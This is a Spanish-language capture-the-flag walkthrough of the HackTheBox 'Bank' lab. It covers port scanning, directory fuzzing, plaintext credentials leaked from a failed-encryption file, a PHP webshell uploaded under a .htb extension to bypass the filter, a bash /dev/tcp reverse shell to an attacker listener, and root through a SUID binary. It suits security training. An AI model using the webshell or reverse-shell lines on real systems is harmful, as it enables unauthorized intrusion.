// 01
Resumen
Bank es una máquina de dificultad fácil
de la plataforma HackTheBox. Simula un servidor bancario web
que requiere configuración manual de DNS para acceder al dominio
bank.htb. El punto de entrada no es trivial: la
enumeración web mediante wfuzz revela el directorio
/balance-transfer,
que contiene archivos de transacciones cifradas; sin embargo, uno de ellos falló al
cifrarse (ERR ENCRYPT FAILED) y expone las
credenciales en texto plano del usuario administrador.
Con acceso al panel, se detecta que la sección Support permite subir archivos.
El servidor rechaza PHP directamente, pero al revisar el código fuente HTML con
Burp Suite se descubre un comentario de depuración
([DEBUG]) que indica que la extensión
.htb es tratada
como PHP. Subimos una webshell con esa extensión, obtenemos
RCE como www-data
y establecemos una reverse shell.
Para la escalada de privilegios identificamos el binario
/var/htb/bin/emergency
con el bit SUID activado y propiedad de
root. Al ejecutarlo
obtenemos una shell como root directamente, sin necesidad de
exploits adicionales.
| Fase | Técnica / Herramienta | Resultado |
|---|---|---|
| Reconocimiento | nmap -p- -sV -sC -sS -n -Pn --min-rate=5000 | Puertos 22 (SSH), 53 (DNS), 80 (HTTP) abiertos |
| DNS local | sudo nano /etc/hosts → 10.129.3.73 bank.htb | Acceso a bank.htb/login.php |
| Enum. Web | wfuzz -c -hc=404 -t 200 -w big.txt http://bank.htb/FUZZ.php | /balance-transfer, /support, /uploads |
| Leak | curl + awk + grep → archivo con ERR ENCRYPT FAILED | chris@bank.htb : !!##HTBB4nkP4ssw0rd!## |
| Acceso | Login en bank.htb/login.php | Panel bancario autenticado como Christos Christopoulos |
| File Upload | Burp Suite → cambiar extensión .php → .htb | shell.htb subida a /uploads/ |
| RCE | bank.htb/uploads/shell.htb?cmd=whoami | www-data |
| Reverse Shell | bash -i >& /dev/tcp/IP/443 0>&1 (URL-encoded) | Shell interactiva como www-data |
| Privesc | find / -perm -4000 -type f → /var/htb/bin/emergency | SUID root → ejecución como root |
| Root | /var/htb/bin/emergency | root.txt obtenido |
// 02
Reconocimiento
El primer paso es identificar qué servicios están corriendo en la máquina objetivo. Utilizamos nmap con un escaneo completo de los 65535 puertos TCP. Cada flag cumple una función específica que optimiza velocidad y cobertura:
-p- indica a nmap que escanee todos los puertos (del 1 al 65535), no solo los 1000 más comunes. -sV activa la detección de versiones: nmap intenta identificar qué software y versión exacta corre en cada puerto abierto, enviando sondas específicas. -sC ejecuta los scripts NSE (Nmap Scripting Engine) por defecto, que realizan enumeraciones adicionales como extracción de certificados SSL, headers HTTP, llaves SSH, etc. -sS es el SYN scan sigiloso (también llamado half-open scan): envía un SYN, recibe SYN-ACK si el puerto está abierto y envía RST en vez de completar el handshake, dejando menos rastros en logs. -n desactiva la resolución DNS inversa, acelerando el escaneo. -Pn desactiva el ping previo (host discovery), tratando el host como activo sin importar si responde a ICMP — útil cuando el firewall bloquea pings. --min-rate=5000 fuerza a nmap a enviar al menos 5000 paquetes por segundo, reduciendo drásticamente el tiempo del escaneo.
// ANÁLISIS DE RESULTADOS
Se encontraron 3 puertos abiertos:
22 (SSH) con OpenSSH 6.6.1p1 — versión antigua, posibles CVEs conocidos.
53 (DNS) con ISC BIND — el servidor corre su propio servicio DNS, lo que
sugiere que usa un dominio virtual (bank.htb).
80 (HTTP) con Apache 2.4.7 mostrando la página por defecto de Ubuntu —
indica que hay un virtual host que necesitamos configurar manualmente.
Al acceder a http://10.129.3.73
directamente por IP, el servidor muestra la página por defecto de Apache2 Ubuntu.
Esto es una señal importante: Apache está usando
virtual hosting, lo que significa que responde de forma
diferente según el nombre de dominio en el header Host:.
Para acceder al contenido real debemos usar el dominio bank.htb.
Probamos conectividad hacia bank.htb con ping para verificar si el DNS público conoce ese dominio:
// NOTA IMPORTANTE
El error "Name or service not known" confirma que el DNS público de
internet no tiene registro para bank.htb. Esto es esperado en HackTheBox:
los dominios .htb son locales a la red de laboratorio y no existen en
servidores DNS públicos. La solución es agregar la entrada manualmente al archivo
/etc/hosts, que actúa como un resolver DNS local con mayor prioridad
que los servidores externos.
// 03
Configuración DNS Local
El archivo /etc/hosts
es el DNS local del sistema operativo. Cuando se ingresa un dominio en
el navegador, el SO primero consulta este archivo antes de recurrir a servidores DNS
externos. Si encuentra una entrada, usa esa IP directamente sin consultar la red.
Agregamos la línea 10.129.3.73 bank.htb
para que cualquier petición a bank.htb sea redirigida
automáticamente a la IP de la máquina objetivo. Necesitamos
sudo porque es un archivo del sistema, de solo lectura
para usuarios normales.
Verificamos que el sistema ahora resuelve bank.htb correctamente hacia la IP de la máquina. El flag -c 3 limita el ping a exactamente 3 paquetes ICMP (sin él, el ping continuaría indefinidamente). Si vemos paquetes enviados y recibidos sin pérdida, la configuración es correcta.
Ahora podemos acceder a http://bank.htb en el navegador.
El servidor redirige automáticamente a
bank.htb/login.php,
presentando el panel de login de HTB Bank con campos para email
y contraseña. Esto confirma que el virtual host está correctamente configurado y
que el contenido real de la aplicación está disponible solo bajo el dominio
bank.htb.
// 04
Enumeración Web · wfuzz
Con el dominio accesible, procedemos a enumerar directorios y archivos ocultos usando
wfuzz, una herramienta de fuzzing web. La idea es
sustituir la palabra FUZZ
en la URL por cada línea del diccionario y analizar las respuestas del servidor.
-c activa la salida con colores para
facilitar la lectura. -hc=302 significa
hide code 302: oculta todas las respuestas con código HTTP 302
(redirecciones), que en este caso corresponden a páginas protegidas que redirigen
al login — no son útiles para nosotros en esta fase.
-t 200 define 200 hilos concurrentes
(threads), acelerando considerablemente el proceso.
-w especifica el wordlist (diccionario)
a usar: dirbuster-2007_directory-list-2.3-medium.txt,
un diccionario clásico con miles de rutas comunes.
La URL con FUZZ
al final indica el punto de inyección donde wfuzz sustituirá cada palabra del diccionario.
En una segunda pasada enumeramos directorios (sin extensión), usando el mismo diccionario pero apuntando a la raíz del dominio. Esta vez ocultamos respuestas con código 301 (redirección a directorio con slash) para reducir ruido, y con 302 para ignorar los redirects de autenticación. El objetivo es encontrar rutas que respondan 200 OK directamente o que expongan contenido sin requerir login.
// HALLAZGO CLAVE
El directorio /balance-transfer responde con código 200 y tiene directory listing habilitado, lo que significa que el servidor nos muestra el listado completo de archivos en ese directorio sin necesidad de autenticación. Esto es una misconfiguration grave: archivos sensibles quedan expuestos directamente.
// 05
Balance-Transfer · Filtración de Credenciales
Al acceder a http://bank.htb/balance-transfer/
el servidor muestra un listado de cientos de archivos .acc.
Estos parecen ser registros de transferencias bancarias, supuestamente cifrados.
Sin embargo, la hipótesis es que alguno de estos archivos pudo haber fallado
en el proceso de cifrado, dejando los datos en texto plano. Buscar
manualmente entre cientos de archivos es inviable, así que automatizamos la búsqueda.
Usamos una cadena de comandos en bash para automatizar la búsqueda del archivo anómalo. La idea es descargar el HTML del directorio con curl, procesarlo con awk para extraer el nombre del archivo y su tamaño en bytes, y filtrar con grep los que tengan un tamaño inusualmente pequeño (indicativo de contenido en texto plano vs. cifrado).
curl http://bank.htb/balance-transfer/ descarga el
HTML del listado del directorio. El pipe
| pasa la
salida al siguiente comando.
awk '{print$6 " ---> " $10}' extrae el
campo 6 (nombre del archivo como enlace HTML) y el
campo 10 (tamaño en bytes) de cada línea — awk divide por espacios
por defecto. tr -d '"' elimina las comillas del HTML.
grep "align=right>2" filtra las líneas donde el
tamaño comienza con "2" seguido de pocos dígitos, lo que representa archivos
muy pequeños (el resto tiene tamaños de 584 bytes, los cifrados;
el anómalo tiene apenas ~257 bytes).
Accedemos directamente al archivo identificado. Al estar en texto plano por el fallo de cifrado, obtenemos toda la información del usuario incluyendo su contraseña en claro:
// VULNERABILIDAD — CLEAR TEXT CREDENTIALS EN ALMACENAMIENTO
El archivo de transferencia falló en el proceso de cifrado y almacenó los datos en texto plano. Esto expone credenciales reales de usuario directamente accesibles por cualquiera que encuentre el directorio. La falta de autenticación en /balance-transfer/ agrava el problema: el directory listing público permite indexar y descargar todos los archivos sin restricción alguna.
// 06
Acceso al Panel Bancario
Usamos las credenciales obtenidas para autenticarnos en
http://bank.htb/login.php.
El sistema acepta el email chris@bank.htb y la contraseña
!!##HTBB4nkP4ssw0rd!##, mostrando el panel bancario del
usuario Christos Christopoulos.
El dashboard muestra un balance de 1.337 $ (guiño al término hacker "leet"), 8 transacciones, 2 tarjetas de crédito y 0 tickets de soporte. Lo que más nos interesa es la sección Support en el menú lateral, donde se puede crear un ticket y adjuntar un archivo.
// SIGUIENTE OBJETIVO
La sección Support → My Tickets permite adjuntar archivos a un ticket de soporte. Si el servidor no valida correctamente el tipo de archivo subido, podríamos subir una webshell PHP y obtener ejecución remota de comandos (RCE). Esta es la técnica conocida como Arbitrary File Upload.
// 07
File Upload · Bypass con extensión .htb
Creamos un archivo PHP malicioso que actúa como webshell: recibe
un parámetro cmd
desde la URL y lo ejecuta en el sistema. La función
shell_exec() ejecuta el comando recibido y retorna
el resultado completo como string. Las etiquetas
<pre>
preservan el formato (espacios, saltos de línea) de la salida en el navegador.
$_REQUEST['cmd'] captura el parámetro
cmd ya sea por GET o POST.
Al intentar subir el archivo shell.php
directamente, el servidor responde con un modal de error:
"You can't upload this file. You can only upload images."
El servidor tiene algún tipo de validación que rechaza archivos PHP. Sin embargo,
esta validación puede estar en el lado del cliente (JavaScript) o
ser una validación superficial en el servidor. Usamos
Burp Suite para interceptar y analizar la petición.
Con Burp Suite interceptamos la petición de subida y la enviamos al
Repeater (Ctrl+R)
para modificarla y reenviarla sin que el navegador interfiera. Al revisar la
respuesta del servidor (pestaña Response) en el código HTML,
encontramos un comentario de depuración revelador:
// VULNERABILIDAD — COMENTARIO DEBUG EN PRODUCCIÓN
Un desarrollador dejó en el código fuente HTML un comentario de depuración que revela que la extensión .htb es tratada por el servidor como PHP. Este tipo de configuración se añade en entornos de desarrollo para pruebas y nunca debería llegar a producción. Al dejar este comentario en el código, el atacante sabe exactamente qué extensión usar para evadir el filtro.
Renombramos el archivo para usar la extensión descubierta. El comando
mv mueve/renombra el archivo:
shell.php
pasa a llamarse shell.htb.
Confirmamos con ls que el archivo existe con el nuevo
nombre, y lo subimos a través del formulario de Support.
Subimos shell.htb
a través del formulario de Support. Esta vez el servidor lo acepta sin error,
mostrando el modal Success: "Your ticket has been created successfully".
El archivo queda almacenado en el directorio
/uploads/
que habíamos descubierto con wfuzz.
// 08
RCE · Reverse Shell
Accedemos directamente al archivo subido a través del navegador usando el parámetro
?cmd=.
El servidor interpreta el archivo .htb como PHP y ejecuta el comando.
Empezamos con whoami para identificar con qué usuario
del sistema está corriendo el servidor web:
// RCE CONFIRMADO
El servidor ejecuta comandos bajo el usuario www-data, que es el usuario estándar de Apache en sistemas Ubuntu. Tenemos ejecución remota de comandos. El siguiente paso es obtener una reverse shell interactiva para tener control completo del sistema.
En nuestra máquina abrimos un listener con netcat para recibir la conexión inversa. -l indica modo listen (escuchar conexiones entrantes). -v activa el modo verbose para ver los eventos de conexión. -n desactiva la resolución DNS. -p 443 especifica el puerto de escucha — usamos 443 porque en muchos entornos el tráfico saliente al puerto 443 (HTTPS) no está filtrado por firewalls.
Ejecutamos el payload de reverse shell a través del parámetro
?cmd=.
Dado que la URL no puede contener ciertos caracteres especiales, los codificamos
en formato URL encoding:
%3E%26
representa >& (redirección combinada de stdout y stderr) y
0%3E%261
representa 0>&1 (redirigir stdin al mismo socket).
El mecanismo /dev/tcp/IP/PUERTO
es una característica especial de bash que abre un socket TCP hacia la IP y puerto
especificados. bash -i lanza bash en modo interactivo.
Combinado, el comando inicia bash, redirige stdin/stdout/stderr al socket TCP y
establece la conexión hacia nuestro listener.
Con la shell como www-data
comenzamos a explorar el sistema. Navegamos al directorio home para identificar
usuarios existentes, luego leemos el flag de usuario:
// 09
Escalada de Privilegios · SUID emergency
La escalada de privilegios con SUID es una técnica clásica en Linux. Un binario con el bit SUID activado se ejecuta con los privilegios del propietario del archivo (normalmente root), sin importar qué usuario lo ejecute. Buscamos todos los archivos SUID en el sistema con find:
find / inicia la búsqueda desde la raíz del sistema de archivos, recorriendo todos los directorios. -perm -4000 filtra archivos que tengan el bit SUID activado (el "4" en octal representa el bit SUID; el guión "-" significa "al menos estos bits"). -type f limita la búsqueda solo a archivos regulares (excluye directorios, symlinks, etc.). 2>/dev/null redirige los errores (como "Permission denied") al vacío, para no ensuciar la salida con mensajes que no podemos resolver como www-data.
Inspeccionamos los permisos del binario con
ls -l para confirmar que tiene SUID y que pertenece
a root. La "s" en la posición del bit de ejecución del propietario
(rws)
confirma el SUID. Al ejecutarlo, el proceso hereda los privilegios de
root sin importar que lo estemos lanzando como www-data.
Ejecutamos el binario directamente. Por el bit SUID activado con propietario root, el proceso corre como root y nos entrega una shell privilegiada. Confirmamos con whoami:
// VULNERABILIDAD — SUID EN BINARIO CUSTOM
El binario /var/htb/bin/emergency tiene el bit SUID activado y es
propiedad de root. A diferencia de binarios del sistema con SUID justificado
(como ping o su), este es un binario custom y
no documentado. Cualquier usuario del sistema puede ejecutarlo y obtener
una shell de root. La práctica correcta es evitar SUID en binarios custom, usar
sudo con reglas granulares en su lugar, y auditar periódicamente todos los binarios
SUID del sistema.
// 10
Flags
// 11
Referencia de Comandos
nmap
nmap [flags] <objetivo>
Scanner de puertos y servicios. Detecta versiones, ejecuta scripts NSE y enumera la superficie de ataque.
- -p- — escanear todos los 65535 puertos
- -sV — detección de versiones de servicios
- -sC — scripts NSE por defecto
- -sS — SYN scan sigiloso (half-open)
- -n — no resolución DNS inversa
- -Pn — sin host discovery (trata host como activo)
- --min-rate=5000 — mínimo 5000 paquetes/segundo
wfuzz
wfuzz [flags] -w <wordlist> <URL/FUZZ>
Fuzzer web que sustituye FUZZ en la URL por cada palabra del diccionario. Ideal para enumerar directorios, archivos y parámetros.
- -c — salida con colores
- -hc=302 — ocultar respuestas con código 302
- -hc=404 — ocultar respuestas "Not Found"
- -t 200 — 200 hilos concurrentes
- -w — especificar wordlist
- FUZZ — marcador de posición de inyección
curl
curl [flags] <URL>
Herramienta para transferir datos desde/hacia URLs. Permite hacer peticiones HTTP personalizadas, descargar contenido y analizar respuestas.
- (sin flags) — petición GET y mostrar respuesta
- -s — modo silencioso (sin barra de progreso)
- -L — seguir redirecciones
- -o archivo — guardar salida en archivo
- | awk | grep — pipeline para filtrar salida
find
find <ruta> [criterios]
Busca archivos y directorios en el sistema según criterios como permisos, tipo, nombre o propietario. Esencial para post-explotación.
- / — buscar desde la raíz del sistema
- -perm -4000 — archivos con bit SUID
- -type f — solo archivos regulares
- -type d — solo directorios
- 2>/dev/null — suprimir errores de permiso
nc (netcat)
nc [flags] [host] [puerto]
La "navaja suiza" de redes. Permite crear conexiones TCP/UDP, actuar como servidor o cliente, y es la herramienta estándar para recibir reverse shells.
- -l — modo escucha (listen)
- -v — verbose, mostrar eventos
- -n — sin resolución DNS
- -p 443 — puerto de escucha (443 evade firewalls)
ping
ping [flags] <host>
Envía paquetes ICMP Echo Request para verificar conectividad. Útil para confirmar que un host está activo y que el DNS resuelve correctamente.
- -c N — enviar exactamente N paquetes
- -i — intervalo entre paquetes (segundos)
- -t TTL — valor TTL de los paquetes
- bank.htb — verifica resolución DNS local
// 12
Glosario
Host:. Cuando el navegador hace una petición, incluye el dominio en ese header y Apache decide qué configuración usar. El archivo /etc/hosts es un resolver DNS local del sistema operativo: se consulta antes que cualquier servidor DNS externo. Al añadir 10.129.3.73 bank.htb, le decimos al SO que traduzca ese dominio a esa IP sin necesitar DNS público. Esto permite acceder a máquinas de laboratorio con dominios .htb que no existen en internet.
index.html, index.php) y la configuración del servidor lo permite. Esto expone todos los archivos del directorio a cualquier visitante. En Apache, se controla con la directiva Options -Indexes. En este caso, /balance-transfer/ tenía el listing habilitado, exponiendo cientos de archivos de cuentas bancarias. El atacante pudo ver e iterar sobre todos sin autenticación.
FUZZ y lo sustituye por cada línea de un diccionario, analizando las respuestas HTTP. Es muy flexible: puede fuzzear rutas, parámetros GET/POST, headers, cookies, etc. Con las flags -hc (hide code) y -hl (hide lines) se filtran las respuestas no interesantes para encontrar contenido "diferente" que revele recursos ocultos. Los diccionarios como SecLists o DirBuster contienen miles de rutas comunes de aplicaciones web.
.acc con la contraseña directamente legible. La práctica correcta incluye: usar hashes modernos (bcrypt, Argon2, scrypt) para contraseñas, implementar cifrado simétrico con llaves almacenadas de forma segura, y nunca exponer archivos de datos sensibles en directorios públicos del webroot. Una capa adicional de defensa hubiera sido requerir autenticación para acceder a /balance-transfer/.
.php) pero tenía una backdoor de debugging: la extensión .htb configurada para ejecutarse como PHP. Burp Suite permite interceptar y modificar cualquier petición antes de que llegue al servidor, incluyendo el nombre del archivo y su Content-Type.
shell_exec($_REQUEST['cmd']): shell_exec() ejecuta un comando en el shell del sistema y retorna toda la salida como string; $_REQUEST['cmd'] captura el parámetro cmd de la URL. El resultado es que cualquier comando enviado via URL (?cmd=whoami, ?cmd=id, etc.) se ejecuta en el servidor con los privilegios del proceso web (normalmente www-data).
/dev/tcp/IP/PUERTO es una función especial de Bash que abre un socket TCP. Combinado con bash -i (bash interactivo) y la redirección >& ... 0>&1 (redirigir stdout, stderr y stdin al socket), obtenemos una shell completa. El atacante escucha con netcat (nc -lvnp PUERTO) y recibe la conexión entrante del servidor comprometido.
root y el bit SUID está activo (rwsr-xr-x), cualquier usuario puede ejecutar ese binario como root. Esto es legítimo en binarios del sistema como passwd o ping (necesitan acceso a recursos privilegiados), pero peligroso en binarios custom o genéricos que permiten ejecutar código arbitrario. La enumeración de SUID es estándar en post-explotación para escalar privilegios.
.php a .htb.
%XX donde XX es el valor hexadecimal del carácter ASCII. Las URLs solo pueden contener un conjunto limitado de caracteres; los demás deben codificarse. En la reverse shell, los caracteres >& tienen significado especial en bash y en HTTP, por lo que los codificamos: > se convierte en %3E, & en %26. Esto permite enviarlos a través de la URL sin que el navegador o el servidor los interprete como separadores de parámetros.
bank.htb). Sin esta pista, podríamos no haber intentado editar /etc/hosts. En CTFs y pentesting real, un servidor DNS propio es señal de que debemos configurar nuestro resolver para apuntar a él o al menos añadir el dominio manualmente a nuestro /etc/hosts.